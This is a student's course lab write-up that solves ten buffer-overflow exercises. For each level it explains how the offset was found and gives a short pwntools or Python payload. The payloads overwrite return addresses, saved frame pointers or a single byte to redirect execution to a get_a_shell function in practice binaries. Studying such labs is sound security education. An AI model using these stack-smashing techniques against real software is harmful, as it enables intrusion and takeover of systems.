CS 579 – week2
Chun-Yu, Chen

1. bof-level0:

Using command “cat README” and analyzing the assembly code then I got the empty buffer space from 0x24 to 0x10 then I calculate it and convert it to the decimal “20”. I put 20 junk bytes into the payload then plus the string I want to write.

bof.py

```
from pwn import *
p = process("./bof-level0")
payload = "9" * 20 + "ABCDEFGH"
p.sendline(payload)
p.interactive()
```

2. bof-level1

Using command “cat README” and analyzing the assembly code then I got the empty buffer space from 0x38 to 0x18 then I calculate it and convert it to the decimal “32”. I put 32 junk bytes into the payload then plus the string I want to write.

bof.py

```
from pwn import *
p = process("./bof-level1")
payload = "9" * 32 + "ABCDEFGH" + "abcdefgh"
p.sendline(payload)
p.interactive()
```

3. bof-level2

Using command “cat README” and analyzing the assembly code then I got the empty buffer space from 0x24 to 0x10 then I calculate it and convert it to the decimal “20”. I put 20 junk bytes into the payload then plus the string I want to write. In addition, plus 8 junk bytes to fill the empty space before return address. After that, I have to write the address of get_a_shell (using info functions to get 0x08048530) to the return address, thus, I plus 8 bytes into the previous string then achieve my target.

boy.py

```
from pwn import *
p = process("./bof-level2")
payload = "99999999999999999999ABCDEFGH99999999"
ret_addr = p32(0x08048530)
p.sendline(payload + ret_addr)
p.interactive()
```

4. bof-level3

Using command “cat README” and analyzing the assembly code then I got the empty buffer space from 0x38 to 0x18 then I calculate it and convert it to the decimal “32”. I put 32 junk bytes into the payload then plus the string I want to write. In addition, plus 8 junk bytes to fill the empty space before return address. After that, I have to write the address

of get_a_shell (using info functions to get 0x00000000004006e0) to the return address, thus, I plus 16 bytes into the previous string then achieve my target.

boy.py

```
from pwn import *
p = process("./bof-level3")
payload = "9" * 32 + "ABCDEFGH" + "abcdefgh" + "9" * 8
ret_addr = p64(0x00000000004006e0)
p.sendline(payload + ret_addr)
p.interactive()
```

5. bof-level4

I found the space of buffer is 0x20 and the place I need to overwrite are ebp_8 and ebp_c. I put the 20 junk bytes then plus the “ABCDEFGH” after it. Since the saved ebp will be compared, so we find the compared value and put it into the place of ebp. Finally, I put 12 junk bytes and the address of get_a_shell in the last part because add $0x8, %esp and pop %ebp. I need 8 + 4 junk byte to deal with these two line.

bof.py

```
#!/usr/bin/env python
with open('input.txt','wb') as f:
        f.write("x" * 20 + "ABCDEFGH" + "x" * 8 + p32(0x804876b) + "123456789abc"
+ p32(0x08048530))
```

6. bof-level5

I put the address of ebp_80 into the position where stores the saved ebp and put the address of get_a_shell into the ebp_76. Then the program will return to the buffer then execute the get_a_shell().

bof.py

```
#!/usr/bin/env python
with open('input.txt','wb') as f:
        f.write("xxxx" + "\xcb\x84\x04\x08" + "aaaa" * (128/4 - 2) + "\xf8\xd3\xff\xff")
```

7. bof-level6

Based on the concept of level5, I also find the address of rbp_80 then put it into the position of saved rbp then put the address of get_a_shell into rbp_76.

bof.py

```
#!/usr/bin/env python
with open('input.txt','wb') as f:
        f.write("xxxxxxxx" + "\x3a\x06\x40\x00\x00\x00\x00\x00" + "aaaaaaaa" * (128/8
- 2) + "\x30\xe2\xff\xff\xff\x7f")
```

8. bof-level7

For the saved ebp, we only can overwrite the last byte. And, the environment is different between gdb and real situation. Thus, the 1 byte have to be modified depending on the offset in the real situation. In the end, I decide to put \x30 to overwrite the original bytes. And it can reach the place where I put the address of get_a_shell.

bof.py

```
#!/usr/bin/env python
with open('input.txt','wb') as f:
        f.write("aaaa" + "xxxx" * 16 + "\xfb\x84\x04\x08" + "aaaa" * (136/4 - 18) +
"\x30")
```

9. bof-level8

Based on the same concept of the level7, I decide to put \x20 to overwrite the original bytes then reach the place where save the address of get_a_shell.

bof.py

```
#!/usr/bin/env python
with open('input.txt','wb') as f:
        f.write("aaaaaaaa" + "xxxxxxxx" * 10 + "\x7a\x06\x40\x00\x00\x00\x00\x00" +
"aaaaaaaa" * (128/8 - 12) + "\x20")
```

10. bof-level9

Based on the (ebp-4, %ecx) then (ecx-4, esp), we can put the return address into the place of ebp-4 and put the address of get_a_shell after ebp-4. Thus, we can successfully execute the get_a_shell.

bof.py

```
#!/usr/bin/env python
with open('input.txt','wb') as f:
   f.write("\x2b\x85\x04\x08" + "xxxx" * (128/4 - 3) + "xxxx" + "\x1c\xd4\xff\xff" +
"xxxx")
```